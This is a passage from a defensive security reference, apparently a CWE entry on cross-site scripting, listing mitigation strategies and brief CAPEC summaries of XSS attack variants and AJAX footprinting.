For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-27
Strategy: Parameterization
If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.
Mitigation MIT-30.1
Strategy: Output Encoding
- Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component.
- The problem of inconsistent output encodings often arises in web pages. If an encoding is not specified in an HTTP header, web browsers often guess about which encoding is being used. This can open up the browser to subtle XSS attacks.
Mitigation MIT-43
With Struts, write all data from form beans with the bean's filter attribute set to true.
Mitigation MIT-31
Strategy: Attack Surface Reduction
To help mitigate XSS attacks against the user's session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as more recent versions of Internet Explorer and Firefox), this attribute can prevent the user's session cookie from being accessible to malicious client-side scripts that use document.cookie. This is not a complete solution, since HttpOnly is not supported by all browsers. More importantly, XmlHttpRequest and other powerful browser technologies provide read access to HTTP headers, including the Set-Cookie header in which the HttpOnly flag is set.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When dynamically constructing web pages, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. All input should be validated and cleansed, not just parameters that the user is supposed to specify, but all data in the request, including hidden fields, cookies, headers, the URL itself, and so forth. A common mistake that leads to continuing XSS vulnerabilities is to validate only fields that are expected to be redisplayed by the site. It is common to see data from the request that is reflected by the application server or the application that the development team did not anticipate. Also, a field that is not currently reflected may be used by a future developer. Therefore, validating ALL parts of the HTTP request is recommended.
- Note that proper output encoding, escaping, and quoting is the most effective solution for preventing XSS, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent XSS, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, in a chat application, the heart emoticon ("<3") would likely pass the validation step, since it is commonly used. However, it cannot be directly inserted into the web page because it contains the "<" character, which would need to be escaped or otherwise handled. In this case, stripping the "<" might reduce the risk of XSS, but it would produce incorrect behavior because the emoticon would not be recorded. This might seem to be a minor inconvenience, but it would be more important in a mathematical forum that wants to represent inequalities.
- Even if you make a mistake in your validation (such as forgetting one out of 100 input fields), appropriate encoding is still likely to protect you from injection-based attacks. As long as it is not done in isolation, input validation is still a useful technique, since it may significantly reduce your attack surface, allow you to detect some attacks, and provide other security benefits that proper encoding does not address.
- Ensure that you perform input validation at well-defined interfaces within the application. This will help protect the application even if a component is reused or moved elsewhere.
Mitigation MIT-21
Strategy: Enforcement by Conversion
When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
Mitigation MIT-16
Strategy: Environment Hardening
When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
CAPEC-209: XSS Using MIME Type Mismatch
An adversary creates a file with scripting content but where the specified MIME type of the file is such that scripting is not expected. The adversary tricks the victim into accessing a URL that responds with the script file. Some browsers will detect that the specified MIME type of the file does not match the actual type of its content and will automatically switch to using an interpreter for the real content type. If the browser does not invoke script filters before doing this, the adversary's script may run on the target unsanitized, possibly revealing the victim's cookies or executing arbitrary script in their browser.
CAPEC-588: DOM-Based XSS
This type of attack is a form of Cross-Site Scripting (XSS) where a malicious script is inserted into the client-side HTML being parsed by a web browser. Content served by a vulnerable web application includes script code used to manipulate the Document Object Model (DOM). This script code either does not properly validate input, or does not perform proper output encoding, thus creating an opportunity for an adversary to inject a malicious script launch a XSS attack. A key distinction between other XSS attacks and DOM-based attacks is that in other XSS attacks, the malicious script runs when the vulnerable web page is initially loaded, while a DOM-based attack executes sometime after the page loads. Another distinction of DOM-based attacks is that in some cases, the malicious script is never sent to the vulnerable web server at all. An attack like this is guaranteed to bypass any server-side filtering attempts to protect users.
CAPEC-591: Reflected XSS
This type of attack is a form of Cross-Site Scripting (XSS) where a malicious script is "reflected" off a vulnerable web application and then executed by a victim's browser. The process starts with an adversary delivering a malicious script to a victim and convincing the victim to send the script to the vulnerable web application.
CAPEC-592: Stored XSS
An adversary utilizes a form of Cross-site Scripting (XSS) where a malicious script is persistently "stored" within the data storage of a vulnerable web application as valid input.
CAPEC-63: Cross-Site Scripting (XSS)
An adversary embeds malicious scripts in content that will be served to web browsers. The goal of the attack is for the target software, the client-side browser, to execute the script with the users' privilege level. An attack of this type exploits a programs' vulnerabilities that are brought on by allowing remote hosts to execute code and scripts. Web browsers, for example, have some simple security controls in place, but if a remote attacker is allowed to execute scripts (through injecting them in to user-generated content like bulletin boards) then these controls may be bypassed. Further, these attacks are very difficult for an end user to detect.
CAPEC-85: AJAX Footprinting
This attack utilizes the frequent client-server roundtrips in Ajax conversation to scan a system. While Ajax does not open up new vulnerabilities per se, it does optimize them from an attacker point of view. A common first step for an attacker is to footprint the target environment to understand what attacks will work. Since footprinting relies on enumeration, the conversational pattern of rapid, multiple requests and responses that are typical in Ajax applications enable an attacker to look for many vulnerabilities, well-known ports, network locations and so on. The knowledge gained through Ajax fingerprinting can be used to support other attacks, such as XSS.